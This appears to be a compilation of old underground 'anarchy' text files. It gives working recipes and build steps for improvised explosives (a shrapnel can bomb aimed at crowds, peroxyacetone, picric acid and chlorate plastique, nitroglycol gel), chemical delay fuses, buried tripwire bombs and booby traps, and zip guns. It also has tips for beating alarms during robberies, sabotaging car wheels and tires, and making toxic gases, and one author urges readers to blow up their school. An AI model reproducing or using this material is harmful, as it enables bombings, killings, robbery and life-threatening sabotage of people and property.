chance upon one, attach a 3' length of wire or other metal object to the knob. This will +cause the sleeping business pig inside to think someone is breaking in and call room service for help. All sorts of fun and games will ensue. +Some high-security installations use keypads just like touch-tone pads (a registered trade mark of bell systems) to open locks or disarm alarms. +Most use three or four digits. To figure out the code, wipe the key-pad free from all fingerprints by using a rag soaked in rubbing alcohol. After +the keypad has been used just apply finger print dust and all four digits will be marked. now all you have to do is figure out the order. If you +want to have some fun with a keypad, try pressing the * and # at the same time. Many units use this as a panic button. This will bring the +owner and the cops running and ever-one will have a good time. Never try to remove these panels from the wall, as they have built-in tamper +switches. +On the subject of holdups, most places (including supermarkets, liquor stores, etc.) have what is known as a money clip. These little nasties +are placed at the bottom of a money drawer and when the last few bills are with-drawn a switch closes and sets the alarm off. That's why +when you make your withdrawal it's best to help yourself so you can check for these little nasties. If you find them, merely insert ones +underneath the pile of twenties, and then pull out the twenties, leaving the one-dollar bill behind to prevent the circuit from closing. +SOFT DRINK CAN BOMB +AN ARTICLE FROM THE BOOK: +THE POOR MAN'S JAMES BOND BY KURT SAXON +This is an anti-personnel bomb meant for milling crowds. The bottom of a soft drink can is half cut out and bent back. A giant firecracker or +other explosive is put in and surrounded with nuts and bolts or rocks. The fuse is then armed with a chemical delay in a plastic drinking straw. +After first making sure there are no children nearby, the acid or glycerine is put into the straw and the can is set down by a tree or wall where +it will not be knocked over. The delay should give you three to five minutes. It will then have a shattering effect on passersby. +It is hardly likely that anyone would pick up and drink from someone else's soft drink can. but if such a crude person should try to drink from +your bomb he would break a nasty habit fast! +! ! +! ! +! ! <-CHEMICAL INGITER +---- ---- +! !1! ! +! ===== ! +!* ! ! "! +! ! ! ! +! ! ! !<- BIG FIRECRACKER +! ! !% ! +! ==== ! +! ! +! # ! +! --- ! +! ! ! <- NUTS & BOLTS +! / ! +! ! +--------- +Pyro Book II +by Capt Hack and Grey Wolf +TIME DELAYED CHEMICAL FUSE +1.Put 1 teaspoon full of potassium permanganate in a tin can. +2.Add a few drops of glycerine. +3.Wait 3-4 min. +4.Get the hell out. The stuff will smoke, then burst into flames. +Potassium permanganate stains like iodine but worse [it's purple]. The reaction will spatter a bit so it can be messy and it doesn't matter if the +amounts are uneven [i.e. 1 part to 3 parts] +EXPLOSIVES AND INCENDIARIES by THE RESEARCHER +INTRODUCTION: +The trouble with text books on chemistry and explosives is the attitude with which they are written. They don't say, "Now I know you would +like to blow holy hell out of something just for the fun of it so here is how to whip up something in your kitchen to do it". They tell you how +Dupont does it or how the ancient Chinese did it but not how you can do it with the resources and materials available to you. +Even army manuals on field expedient explosives are almost useless because they are just outlines written with the understanding that an +instructor is going to fill in the blanks. It is a fun game to search out the materials that can be put together to make something go "boom". You +can find what you need in grocery stores, hardware stores, and farm supplies. An interesting point to remember is that it is much easier to +make a big e explosion than a small one. It is very difficult for a home experimenter to make a firecracker, but a bomb capable of blowing the +walls out of a building is easy. +HOW TO MAKE ROCKET FUEL +This is easy to make and fun to play with. Mix equal parts by volume Potassium or Sodium Nitrate and granulated sugar. Pour a big spoonful of +this into a pile. Stick a piece of blackmatch fuse into it; light; and step back. This is also a very hot incendiary. A little imagination will suggest a +lot of experiments for this. +ANOTHER ROCKET FUEL +Mix equal parts by volume of zinc dust and sulfur. Watch out if you experiment with this. It goes off in a sudden flash. It is not a powerful +explosive, but is violent stuff even when not confined because of its fast burning rate. +As I continue from this point some of the ingredients are going to be harder to get without going through a chemical supply. I try to avoid this. I +happen to know that B. Prieser Scientific (local to my area) has been instructed by the police to send them the names of anyone buying +chemicals in certain combinations. For example, if a person were to buy Sulfuric acid, Nitric acid and Toluene (the makings for TNT) in one +order the police would be notified. I will do the best I can to tell you how to make the things you need from commonly available materials, but I +don't want to leave out something really good because you might have to scrounge for an ingredient. I am guessing you would prefer it that +way. +HOW TO MAKE AN EXPLOSIVE FROM COMMON MATCHES +Pinch the head near the bottom with a pair of wire cutters to break it up; then use the edges of the cutters to scrape off the loose material. It +gets easy with practice. You can do this while watching TV and collect enough for a bomb without dying of boredom. +Once you have a good batch of it, you can load it into a pipe instead of black powder. Be careful not to get any in the threads, and wipe off +any that gets on the end of the pipe. Never try to use this stuff for rocket fuel. A science teacher was killed that way. +Just for fun while I'm on the subject of matches, did you know that you can strike a safety match on a window pane? Hold a paper match +between your thumb and first finger. With your second finger, press the head firmly against a large window. Very quickly, rub the match down +the pane about 2 feet while maintaining the pressure. The friction will generate enough heat to light the match. +Another fun trick is the match rocket. Tightly wrap the top half of a paper match with foil. Set it in the top of a pop bottle at a 45 angle. Hold a +lighted match under the head until it ignites. If you got it right, the match will zip up and hit the ceiling. +I just remembered the match guns I used to make when I was a kid. These are made from a bicycle spoke. At one end of the spoke is a piece +that screws off. Take it off and screw it on backwards. You now have a piece of stiff wire with a small hollow tube on one end. Pack the +material from a couple of wooden safety matches into the tube. Force the stem of a match into the hole. It should fit very tightly. Hold a lighted +match under the tube until it gets hot enough to ignite the powder. It goes off with a bang. +HOW TO MAKE CONCENTRATED SULFURIC ACID FROM BATTERY ACID +Go to an auto supply store and ask for "a small battery acid". This should only cost a few dollars. What you will get is about a gallon of dilute +sulfuric acid. Put a pint of this into a heat resistant glass container. The glass pitchers used for making coffee are perfect. Do not use a metal +container. +Use an extension cord to set up a hotplate out doors. Boil the acid until white fumes appear. As soon as you see the white fumes, turn off the +hot plate and let the acid cool. Pour the now concentrated acid into a glass container. The container must have a glass stopper or plastic cap -- +no metal. It must be air tight. Otherwise, the acid will quickly absorb moisture from the air and become diluted. Want to know how to make a time +bomb that doesn't tick and has no wires or batteries? Hold on to your acid and follow me into the next installment. +HOW TO MAKE A CHEMICAL TIME DELAY FUSE: +To get an understanding of how this is going to work, mix up equal parts by volume Potassium chlorate and granulated sugar. Pour a spoonful +of the mixture in a small pile and make a depression in the top with the end of a spoon. Using a medicine dropper, place one drop of +concentrated sulfuric acid in the depression and step back. +It will snap and crackle a few times and then burst into vigorous flames. To make the fuse, cut about 2 inches off a plastic drinking straw. +Tamp a small piece of cotton in one end. On top of this put about an inch of the clorate/sugar mixture. +Now lightly tamp in about a quarter inch of either glass wool or asbestos fibers. Secure this with the open end up and drop in 3 or 4 drops of +sulfuric acid. After a few minutes the acid will soak through the fibers and ignite the mixture. +The time delay can be controlled by the amount of fiber used and by varying how tightly it is packed. Don't use cotton for this. The acid will +react with cotton and become weakened in the process. By punching a hole in the side of the straw, a piece of blackmatch or other fuse can +be inserted and used to set off the device of your choice. +Potassium chlorate was very popular with the radical underground. It can be used to make a wide variety of explosives and incendiaries, some +of them extremely dangerous to handle. The radicals lost several people that way. But, don't worry. I am not going to try to protect you from +yourself. I have decided to tell all. I will have more to say about Potassium chlorate, but for now, let's look at a couple of interesting electric +fuses. +PEROXYACETONE +PEROXYACETONE IS EXTREMELY FLAMMABLE AND HAS BEEN REPORTED TO BE SHOCK SENSITIVE +MATERIALS: + 4 mL Acetone + 4 mL 30% Hydrogen Peroxide + 4 drops Conc. Hydrochloric Acid + 150 mm Test Tube +Add 4 mL acetone and 4 mL hydrogen peroxide to the test tube. Then add 4 drops concentrated hydrochloric acid. In 10-20 minutes a white +solid should begin to appear. If no change is observed, warm the test tube in a water bath at 40�C. Allow the reaction to continue for two +hours. Swirl the slurry and filter it. Leave out on filter paper to dry for at least two hours. To ignite, light a candle tied to a meter stick and light it +(while staying at least a meter away). +I would like to give credit to a book by shakashari entitled "Chemical demonstrations" for a few of the precise amounts of chemicals in some +experiments. +THE CHEMIST'S CORNER #2: +HOUSEHOLD CHEMICALS, BY ZAPHOD BEEBLEBROX/MPG +This article deals with instructions on how to do some interesting experiments with common household chemicals. Some may or may not work +depending on the concentration of certain chemicals in different areas and brands. I would suggest that the person doing these experiments +have some knowledge of chemistry, especially for the more dangerous experiments. +I am not responsible for any injury or damage caused by people using this information. It is provided for use by people knowledgeable in +chemistry who are interested in such experiments and can safely handle such experiments. +I. A LIST OF HOUSEHOLD CHEMICALS AND THEIR COMPOSITION +VINEGAR: 3-5% ACETIC ACID BAKING SODA: SODIUM BICARBONATE +DRAIN CLEANERS: SODIUM HYDROXIDE SANI-FLUSH: 75% SODIUM BISULFATE +AMMONIA WATER: AMMONIUM HYDROXIDE CITRUS FRUIT: CITRIC ACID +TABLE SALT: SODIUM CHLORIDE SUGAR: SUCROSE +MILK OF MAGNESIA: MAGNESIUM HYDROXIDE TINCTURE OF IODINE: 4% IODINE +RUBBING ALCOHOL: 70% OR 99% (DEPENDS ON BRAND) ISOPROPYL ALCOHOL (DO NOT DRINK!) +GENERATING CHLORINE GAS +This is slightly more dangerous than the other two experiments, so you should know what you're doing before you try this... +Ever wonder why ammonia bottles always say 'do not mix with chlorine bleach', and visa-versa? That's because if you mix ammonia water +with Ajax or something like it, it will give off chlorine gas. To capture it, get a large bottle and put Ajax in the bottom. Then pour some ammonia +down into the bottle. Since the chlorine is heavier than air, it will stay down in there unless you use large amounts of either Ajax or ammonia +(don't!). +CHLORINE + TURPENTINE +Take a small cloth or rag and soak it in turpentine. Quickly drop it into the bottle of chlorine. It should give off a lot of black smoke and probably +start burning... +GENERATING HYDROGEN GAS +To generate hydrogen, all you need is an acid and a metal that will react with that acid. Try vinegar (acetic acid) with zinc, aluminum, +magnesium, etc. You can collect hydrogen in something if you note that it is lighter than air.... light a small amount and it burns with a small +*pop*. +Another way of creating hydrogen is by the electrolysis of water. This involve separating water (H2O) into hydrogen and oxygen by an +electric current. To do this, you need a 6-12 volt battery (or a DC transformer), two test tubes, a large bowl, two carbon electrodes (take them +out of an unworking 6-12 volt battery), and table salt. Dissolve the salt in a large bowl full of water. Submerge the two test tubes in the water +and put the electrodes inside them, with the mouth of the tube aiming down. Connect the battery to some wire going down to the electrodes. +This will work for a while, but chlorine will be generated along with the oxygen which will corrode your copper wires leading to the carbon +electrodes... (the table salt is broken up into chlorine and sodium ions, the chlorine comes off as a gas with oxygen while sodium reacts with +the water to form sodium hydroxide....). therefore, if you can get your hands on some sulfuric acid, use it instead. it will not affect the +reaction other than making the water conduct electricity. +WARNING: +DO NOT use a transformer that outputs AC current! Not only is AC inherently more dangerous than DC, it also produces both Hydrogen and +Oxygen at each electrode. +HYDROGEN + CHLORINE +Take the test tube of hydrogen and cover the mouth with your thumb. Keep it inverted, and bring it near the bottle of chlorine (not one that has +reacted with turpentine). Say "good-bye test tube", and drop it into the bottle. The hydrogen and chlorine should react and possibly explode +(depending on purity and amount of each gas). An interesting thing about this is they will not react if it is dark and no heat or other energy is +around. When a light is turned on, enough energy is present to cause them to react... +PREPARATION OF OXYGEN +Get some hydrogen peroxide (from a drug store) and manganese dioxide (from a battery- it's a black powder). Mix the two in a bottle, and they +give off oxygen. If the bottle is stoppered, pressure will build up and shoot it off. +Try lighting a wood splint and sticking it (when only glowing) into the bottle. The oxygen will make it burst into flame. The oxygen will allow +things to burn better... +IODINE +Tincture of iodine contains mainly alcohol and a little iodine. To separate them, put the tincture of iodine in a metal lid to a bottle and heat it over a +candle. Have a stand holding another metal lid directly over the tincture (about 4-6 inches above it) with ice on top of it. The alcohol should +evaporate, and the iodine should sublime, but should reform iodine crystals on the cold metal lid directly above. If this works (I haven't tried), +you can use the iodine along with household ammonia to form nitrogen triiodide. +I have found that Pool Chlorine tablets with strong household ammonia react to produce LOTS of chlorine gas and heat... also mixing the tablets +with rubbing alcohol produces heat, a different (and highly flammable) gas, and possibly some sort of acid (it eats away at just about anything +it touches) +TRIPWIRES +by The Mortician +Well first of all I recommend that you read the file on my board about landmines... If you can't then here is the concept. +You can use an m-80,h-100, blockbuster or any other type of explosive that will light with a fuse. Now the way this works is if you have a 9 +volt battery, get either a solar igniter (preferably) or some steel wool you can create a remote ignition system. What you do it set up a +schematic like this. +------------------>+ battery +steel || ->- battery +wool || / +:==:--- <--fuse \ +|| / +---- spst switch--\ +So when the switch is on the currnet will flow through the steel wool or igniter and heat up causing the fuse to light. Note: For use with steel +wool try it first and get a really thin piece of wire and pump the current through it to make sure it will heat up to light the explosive. +Now the thing to do is plant your explosive wherever you want it to be, bury it and cover the wires. Now take a fishing line (about 20 lb. test) +and tie one end to a secure object. Have your switch secured to something and make a loop on the other end on the line. Put the loop around +the switch such that when pulled it will pull the switch and set off the explosive. +To ignite the explosive... The thing to do is to experiment with this and find your best method... Let me know on any good kills, or new +techniques... On my board... (201)376-4462 +BOOBY TRAP TRIP WIRES +BY Vlad Tepes (of Chicago C64 fame) +Here is a method for constructing boobytraps which I personally invented, and which I have found to work better than any other type of +release booby trap. +There are many possible variations on this design, but the basic premise remains the same. What you'll need: + 3-4 nails each 2 inches long and soft enough to bend easily (galvanized iron works well) + 6 feet of wire or fishing line + 5-15 feet of strong string or rope + 1 really sick mind. +Hammer two of the nails into the trunk of a tree (about one inch apart) so they form a horizontal line. They should be angled slightly upward, +about 30�. +Bend each nail Downward about one inch out from the trunk. Take your nefarious device (say a small rock suspended in a tree) and rig a rope +or string so the line comes DOWN towards the two nails. Tie a loop in the string so the loop *just* reaches between the two nails, and pass a +third nail between the two nails with the loop around this nail between the two others (see diagrams) +bent nails +/ || ^ slight upward tension +# /\ || +#/ @ || @ ( @ are the two nails, head on) +# ------!----()------ +# trip wire +\ / +Trunk third nail +Now tie one end of the fishing line to the head of the third nail, and the other end around another tree or to a nail (in another tree, a root or a +stump etc). +When somebody pulls on the trip wire, the nail will be pulled out and your sick creation will be released to do it's damage (try tying it to a firing +pin). +There are several possible variations. More than one trip wire can be attached to the same nail, or this device can be used to arm a second trip +wire. Large wire staples or hook and eye loops can be used to replace the two bent nails. +A more interesting variation uses a straight piece of metal rod with a hole at each end, or with a short wire loop welded to each end. One end +is attached to the tripwire, the other is attached to a spring. +|| +*/\/\/\/\/\-===()=======------ --------------------------------* +SPRING BOLT Trip wire +With this design the loop will be released if the tripwire is pulled or if it is broken. The spring should be under moderate tension and well oiled. +Improvised Explosives +Written by: The Lich +Gelatin Explosive from Anti-Freeze +CAUTION: THIS FORMULA ASSUMES THAT THE MAKER HAS NO QUALMS ABOUT KILLING HIS/HER SELF IN THE PROCESS. +This explosive is almost the same as the nitro-gelatin plastique explosive except that it is supple and pliable to -10�C to -20�C +Antifreeze is easier to obtain than glycerine and is usually cheaper. It needs to be freed of water before the manufacture and this can be done +by treating it with calcium chloride until a specific gravity of 1.12 at 0�C or 1.11 at 20�C is obtained. +This can be done by adding calcium chloride to the antifreeze and checking with a hydrometer and continue to add calcium chloride until the +proper reading is obtained. The antifreeze is then filtered to remove the calcium chloride from the liquid. This explosive is superior to nitrogelatin +in that it is easier to collidon the IMR smokeless powder into the explosive and that the 50/50 ether ethyl alcohol can be done away with. +It is superior in that the formation of the collidon is done very rapidly by the nitroethelene glycol. +It's detonation properties are practically the same as the nitro-gelatine. Like the nitro-gelatine it is highly flammable and if caught on fire the +chances are good that the flame will progress to detonation. In this explosive as in nitro-gelatine the addition of 1% sodium carbonate is a good +idea to reduce the chance of residual acid being present in the final explosive. The following is a slightly different formula than nitro-gelatine: +Nitro-glycol 75% Guncotton (IMR) 6% Potassium Nitrate 14% Flour 5% +In this process the 50/50 step is omitted. Mix the potassium nitrate with the nitro-glycol. Remember that this nitro-glycol is just as sensitive to +shock as is nitroglycerin. +The next step is to mix in the baking flour and sodium carbonate. Mix these by kneading with gloved hands until the mixture is uniform. This +kneading should be done gently and slowly. The mixture should be uniform when the IMR smokeless powder is added. Again this is kneaded to +uniformity. Use this explosive as soon as possible. +If it must be stored, store in a cool, dry place (0-10�C). This explosive should detonate at 7600-7800 m/sec.. These two explosives are very +powerful and should be sensitive to a #6 blasting cap or equivalent. +These explosives are dangerous and should not be made unless the manufacturer has had experience with this type compound. The foolish +and ignorant may as well forget these explosives as they won't live to get to use them. +Don't get me wrong, these explosives have been manufactured for years with an amazing record of safety. Millions of tons of nitroglycerine +have been made and used to manufacture dynamite and explosives of this nature with very few mishaps. +Nitroglycerin and nitroglycol will kill and their main victims are the stupid and foolhardy. Before manufacturing these explosives take a drop of +nitroglycerin and soak into a small piece of filter paper and place it on an anvil. +Hit this drop with a hammer and don't put any more on the anvil. See what I mean! This explosive compound is not to be taken lightly. If there are +any doubts DON'T. +Improvised Explosives Plastique Explosive from Aspirin +This explosive is a phenol derivative. It is HIGHLY toxic and explosive compounds made from picric acid are poisonous if inhaled, ingested, or +handled and absorbed through the skin. The toxicity of this explosive restricts its use due to the fact that over exposure in most cases causes +liver and kidney failure and sometimes death if immediate treatment is not obtained. +This explosive is a cousin to TNT but is more powerful than it's cousin. It is the first explosive used militarily and was adopted in 1888 as an +artillery shell filler. Originally this explosive was derived from coal tar but thanks to modern chemistry you can make this explosive easily in +approximately three hours from acetylsalicylic acid (aspirin purified). +This procedure involves dissolving the acetylsalicylic acid in warm sulfuric acid and adding sodium or potassium nitrate which nitrates the +purified aspirin and the whole mixture drowned in water and filtered to obtain the final product. This explosive is called trinitrophenol. Care +should be taken to ensure that this explosive is stored in glass containers. Picric acid will form dangerous salts when allowed to contact all +metals except tin and aluminum. These salts are primary explosive and are super sensitive. They also will cause the detonation of the picric +acid. +To make picric acid obtain some aspirin. The cheaper brands work best but buffered brands should be avoided. Powder these tablets to a fine +consistency. To extract the acetylsalicylic acid from this powder place this powder in methyl alcohol and stir vigorously. Not all of the powder +will dissolve. Filter this powder out of the alcohol. Again wash this powder that was filtered out of the alcohol with more alcohol but with a +lesser amount than the first extraction. Again filter the remaining powder out of the alcohol. Combine the now clear alcohol and allow it to +evaporate in a pyrex dish. When the alcohol has evaporated there will be a surprising amount of crystals in the bottom of the pyrex dish. +Take forty grams of these purified acetylsalicylic acid crystals and dissolve them in 150 mL of sulfuric acid (98%, specify gravity 1.8) and heat +to dissolve all the crystals. This heating can be done in a common electric frying pan with the thermostat set on 150�F and filled with a good +cooking oil. +When all the crystals have dissolved in the sulfuric acid take the beaker, that you've done all this dissolving in (600 mL), out of the oil bath. This +next step will need to be done with a very good ventilation system (it is a good idea to do any chemistry work such as the whole procedure +and any procedure on this disk with good ventilation or outside). Slowly start adding 58 g of sodium nitrate or 77 g of potassium nitrate to the +acid mixture in the beaker very slowly in small portions with vigorous stirring. A red gas (nitrogen trioxide) will be formed and this should be +avoided. +The mixture is likely to foam up and the addition should be stopped until the foaming goes down to prevent the overflow of the acid mixture in +the beaker. When the sodium or potassium nitrate has been added the mixture is allowed to cool somewhat (30-40�C). The solution should then +be dumped slowly into twice it's volume of crushed ice and water. The brilliant yellow crystals will form in the water. These should be filtered +out and placed in 200 mL of boiling distilled water. This water is allowed to cool and then the crystals are then filtered out of the water. These +crystals are a very, very pure trinitrophenol. These crystals are then placed in a pyrex dish and places in an oil bath and heated to 80�C and +held there for 2 hours. This temperature is best maintained and checked with a thermometer. +The crystals are then powdered in small quantities to a face powder consistency. These powdered crystals are then mixed with 10% by +weight wax and 5% vaseline which are heated to melting temperature and poured into the crystals. The mixing is best done by kneading +together with gloved hands. This explosive should have a useful plasticity range of 0-40�C. The detonation velocity should be around 7000 +m/sec.. It is toxic to handle but simply made from common ingredients and is suitable for most demolition work requiring a moderately high +detonation velocity. It is very suitable for shaped charges and some steel cutting charges. It is not as good an explosive as C-4 or other RDX +based explosives but it is much easier to make. Again this explosive is very toxic and should be treated with great care. +AVOID HANDLING BARE-HANDED, BREATHING DUST AND FUMES, AVOID ANY CHANCE OF INGESTION. AFTER UTENSILS ARE USED FOR +THE MANUFACTURE OF THIS EXPLOSIVE RETIRE THEM FROM THE KITCHEN AS THE CHANCE OF POISONING IS NOT WORTH THE RISK. THIS +EXPLOSIVE, IF MANUFACTURED AS ABOVE, SHOULD BE SAFE IN STORAGE BUT WITH ANY HOMEMADE EXPLOSIVE STORAGE OS NOT +RECOMMENDED AND EXPLOSIVES SHOULD BE MADE UP AS NEEDED. +Improvised Explosives Plastique Explosive from Bleach +This explosive is a potassium chlorate explosive. This explosive and explosives of similar composition were used in World War II as the main +explosive filler in grenades, land mines, and mortar used by French, German, and other forces involved in that conflict. These explosives are +relatively safe to manufacture. +One should strive to make sure these explosives are free of sulfur, sulfides, and picric acid. The presence of these compounds result in +mixtures that are or can become highly sensitive and possibly decompose explosively while in storage. The manufacture of this explosive from +bleach is given as just an expedient method. This method of manufacturing potassium chlorate is not economical due to the amount of energy +used to boil the solution and cause the 'dissociation' reaction to take place. This procedure does work and yields a relatively pure and a +sulfur/sulfide free product. These explosives are very cap sensitive and require only a #3 cap for instigating detonation. +To manufacture potassium chlorate from bleach (5�% sodium hypochlorite solution) obtain a heat source (hot plate etc.) a battery hydrometer, +a large pyrex or enameled steel container (to weigh chemicals), and some potassium chloride (sold as salt substitute). Take one gallon of +bleach, place it in the container and begin heating it. While this solution heats, weigh out 63 g potassium chloride and add this to the bleach +being heated. Bring this solution to a boil and boiled until when checked by a hydrometer the reading is 1.3 (if a battery hydrometer is used it +should read full charge). +When the reading is 1.3 take the solution and let it cool in the refrigerator until it's between room temperature and 0�C. Filter out the crystals that +have formed and save them. Boil the solution again until it reads 1.3 on the hydrometer and again cool the solution. Filter out the crystals that +have formed and save them. Boil this solution again and cool as before. +Filter and save the crystals. Take these crystals that have been saved and mix them with distilled water in the following proportions: 56g per +100 mL distilled water. Heat this solution until it boils and allow it to cool. Filter the solution and save the crystals that form upon cooling. The +process if purification is called fractional crystallization. These crystals should be relatively pure potassium chlorate. +Powder these to the consistency of face powder (400 mesh) and heat gently to drive off all moisture. Melt five parts vaseline and five parts +wax. Dissolve this in white gasoline (camp stove gasoline) and pour this liquid on 90 parts potassium chlorate (the crystals from the above +operation) in a plastic bowl. Knead this liquid into the potassium chlorate until immediately mixed. Allow all the gasoline to evaporate. Place this +explosive in a cool, dry place. Avoid friction, sulfur, sulfide, and phosphorous compounds. +This explosive is best molded to the desired shape and density (1.3g/cc) and dipped in wax to water proof. These block type charges +guarantee the highest detonation velocity. This explosive is really not suited to use in shaped charge applications due to its relatively low +detonation velocity. It is comparable to 40% ammonia dynamite and can be considered the same for the sake of charge computation. +If the potassium chlorate is bought and not made it is put into the manufacture process in the powdering stages preceding the addition of the +wax/vaseline mixture. This explosive is bristant and powerful. The addition of 2-3% aluminum powder increases its blast effect. Detonation +velocity is 3300 m/sec. +Plastique Explosives From Swimming Pool Chlorinating Compound +This explosive is a chlorate explosive from bleach. This method of production of potassium or sodium chlorate is easier and yields a more pure +product than does the plastique explosive from bleach process. +In this reaction the HTH (calcium hypochlorite CaC10) is mixed with water and heated with either sodium chloride (table salt, rock salt) or +potassium chloride (salt substitute). The latter of these salts is the salt of choice due to the easy crystallization of the potassium chlorate. +This mixture will need to be boiled to ensure complete reaction of the ingredients. Obtain some HTH swimming pool chlorination compound or +equivalent (usually 65% calcium hypochlorite). As with the bleach process mentioned earlier the reaction described below is also a +dissociation reaction. In a large pyrex glass or enameled steel container place 1200g HTH and 220g potassium chloride or 159g sodium +chloride. Add enough boiling water to dissolve the powder and boil this solution. A chalky substance (calcium chloride) will be formed. When +the formation of this chalky substance is no longer formed the solution is filtered while boiling hot. If potassium chloride was used potassium +chlorate will be formed. +This potassium chlorate will drop out or crystallize as the clear liquid left after filtering cools. These crystals are filtered out when the solution +reaches room temperature. If the sodium chloride salt was used this clear filtrate (clear liquid after filtration) will need to have all water +evaporated. This will leave crystals which should be saved. +These crystals should be heated in a slightly warm oven in a pyrex dish to drive off all traces of water (40-75�C). These crystals are ground to +a very fine powder (400 mesh). +If the sodium chloride salt is used in the initial step the crystallization is much more time consuming. The potassium chloride is the salt to use as +the resulting product will crystallize out of the solution as it cools. The powdered and completely dry chlorate crystals are kneaded together +with vaseline in a plastic bowl. ALL CHLORATE BASED EXPLOSIVES ARE SENSITIVE TO FRICTION AND SHOCK AND THESE SHOULD BE +AVOIDED. If sodium chloride is used in this explosive it will have a tendency to cake and has a slightly lower detonation velocity. +This explosive is composed of the following: + Potassium/Sodium Chlorate 90% + Vaseline 10% +Simply pour the powder into a plastic baggy and knead in the vaseline carefully. This explosive (especially if the Sodium Chlorate variation is +used) should not be exposed to water or moisture. +The detonation velocity can be raised to a slight extent by the addition of 2-3% aluminum substituted for 2-3% of the vaseline. This addition of +this aluminum will give the explosive a bright flash if set off at night which will ruin night vision for a short while. The detonation velocity of this +explosive is approximately 3200 m/sec for the potassium salt and 2900 m/sec for the sodium salt based explosive. +It was claimed above that this explosive degrades over time. I would assume that this occurs due to the small amount of water present in the +vaseline, and that a different type of fuel would be better than the vaseline. +ASSORTED NASTIES: +Sweet-Oil +In this one you open there hood and pour some honey in their oil spout. If you have time you might remover the oil plug first and drain some of +the oil out. I have tried this one but wasn't around to see the effects but I am sure that I did some damage. +Slow Air +OK, sneak up the victims car and poke a small hole somewhere in 2 of his/her tires. They only have 1 spare. Now if the hole is small but there +then there tire will go flat some where on the road. You could slice the tire so this is blows out on the road with a razor blade. Cut a long and +fairly deep (don't cut a hole all the way through) and peel a little bit of the rubber back and cut that off. Now very soon there tires will go flat or +a possible blow out at a high speed if your lucky. +Vanishing Paint +Spread a little gas or paint thinner on the victims car and this will make his paint run and fade. Vodka will eat the paint off and so will a little 190. +Eggs work great on paint if they sit there long enough. +Loose Wheel +Loosen the lugs on you victims tires so that they will soon fall off. This can really fuck some one up if they are cruising when the tire falls off. +Dual Neutral +This name sucks but pull the 10 bolt or what ever they have there off. (On the real wheels, in the middle of the axle) Now throw some screws, +blots, nuts and assorted things in there and replace the cover. At this point you could chip some of the teeth off the gears. +Un-Midaser +Crawl under there car with a ratchet and loosen all the nuts on their exhaust so that it hangs low and will fall off soon. This method also works +on transmissions but is a little harder to get all bolts off, but the harder you work the more you fuck them over. +LAUGHING GAS +Learn how to make laughing gas from ammonium nitrate. Laughing gas was one of the earliest anesthetics. After a little while of inhaling the +gas the patient became so happy [ain't life great?] he couldn't keep from laughing. Finally he would drift off to a pleasant sleep. +Some do-it-yourselfers have died while taking laughing gas. This is because they has generated it through plastic bags while their heads were +inside. They were simply suffocating but were too bombed out to realize it. +The trick is to have a plastic clothes bag in which you generate a lot of the gas. Then you stop generating the gas and hold a small opening of +the bag under your nose, getting plenty of oxygen in the meantime. Then, Whee! To make it you start with ammonium nitrate bought from a +chemical supply house or which you have purified with 100% rubbing or wood alcohol. +First, dissolve a quantity of ammonium nitrate in some water. Then you evaporate the water over the stove, while stirring, until you have a +heavy brine. When nearly all the moisture is out it should solidify instantly when a drop is put on an ice cold metal plate. +When ready, dump it all out on a very cold surface. After a while, break it up and store it in a bottle. +A spoonful is put into a flask with a one-hole stopper, with a tube leading into a big plastic bag. The flask is heated with an alcohol lamp. +When the temperature in the flask reaches 480 F the gas will generate. If white fumes appear the heat should be lowered as the stuff +explodes at 600 F. +When the bag is filled, stop the action and get ready to turn on. +CAUTION: +N�O supplants oxygen in your blood, but you don't realize it. It's easy to die from N�O because you're suffocating and your breathing reflex +doesn't know it. Do not put your head in a plastic bag. You will cheerfully choke to death. +PIPE OR "ZIP" GUNS +Commonly known as "zip" guns, guns made from pipe have been used for years by juvenile punks. Today's Militants make them just for the hell +of it or to shoot once in an assassination or riot and throw away if there is any danger of apprehension. +They can be used many times but with some, a length of dowel is needed to force out the spent shell. +There are many variations but the illustration shows the basic design. +First, a wooden stock is made and a groove is cut for the barrel to rest in. The barrel is then taped securely to the stock with a good, strong +tape. +The trigger is made from galvanized tin. A slot is punched in the trigger flap to hold a roofing nail, which is wired or soldered onto the flap. The +trigger is bent and nailed to the stock on both sides. +The pipe is a short length of one-quarter inch steel gas or water pipe with a bore that fits in a cartridge, yet keeps the cartridge rim from +passing through the pipe. +The cartridge is put in the pipe and the cap, with a hole bored through it, is screwed on. Then the trigger is slowly released to let the nail pass +through the hole and rest on the primer. +To fire, the trigger is pulled back with the left hand and held back with +the thumb of the right hand. The gun is then aimed and the thumb releases the +trigger and the thing actually fires. +Pipes of different lengths and diameters are found in any hardware store. All caliber bullets, from the .22 to the .45 are used in such guns. +Some zip guns are made from two or three pipes nested within each other. For instance, a .22 shell will fit snugly into a length of a car's +copper gas line. Unfortunately, the copper is too weak to withstand the pressure of the firing. So the length of gas line is spread with glue and +pushed into a wider length of pipe. This is spread with glue and pushed into a length of steel pipe with threads and a cap. +Using this method, you can accommodate any cartridge, even a rifle shell. The first size of pipe for a rifle shell accommodates the bullet. The +second accommodates its wider powder chamber. +A 12-gauge shotgun can be made from a 3/4 inch steel pipe. If you want to comply with the gun laws, the barrel should be at least eighteen +inches long. +Its firing mechanism is the same as that for the pistol. It naturally has a longer stock and its handle is lengthened into a rifle butt. Also, a small +nail is driven half way into each side of the stock about four inches in the front of the trigger. The rubber band is put over one nail and brought +around the trigger and snagged over the other nail. +In case you actually make a zip gun, you should test it before firing it by hand. This is done by first tying the gun to a tree or post, pointed to +where it will do no damage. Then a string is tied to the trigger and you go off several yards. The string is then pulled back and let go. If the +barrel does not blow up, the gun is (probably) safe to fire by hand. Repeat firings may weaken the barrel, so NO zip gun can be considered +"safe" to use. +Astrolite and Sodium Chlorate Explosives +By: Future Spy & The Fighting Falcon +Note: Information on the Astrolite Explosives were taken from the book 'Two Component High Explosive Mixtures' By Desert Pub'l +Some of the chemicals used are somewhat toxic, but who gives a fuck! Go ahead! I won't even bother mentioning 'This information is for +enlightening purposes only'! I would love it if everyone made a gallon of astrolite and blew their fucking school to kingdom scum! +Astrolite +The astrolite family of liquid explosives were products of rocket propellant research in the '60's. Astrolite A-1-5 is supposed to be the world's +most powerful non-nuclear explosive -at about 1.8 to 2 times more powerful than TNT. Being more powerful it is also safer to handle than TNT +(not that it isn't safe in the first place) and Nitroglycerin. +Astrolite G +"Astrolite G is a clear liquid explosive especially designed to produce very high detonation velocity, 8,600MPS (meters/sec.), compared with +7,700MPS for nitroglycerin and 6,900MPS for TNT...In addition, a very unusual characteristic is that it the liquid explosive has the ability to be +absorbed easily into the ground while remaining detonatable...In field tests, 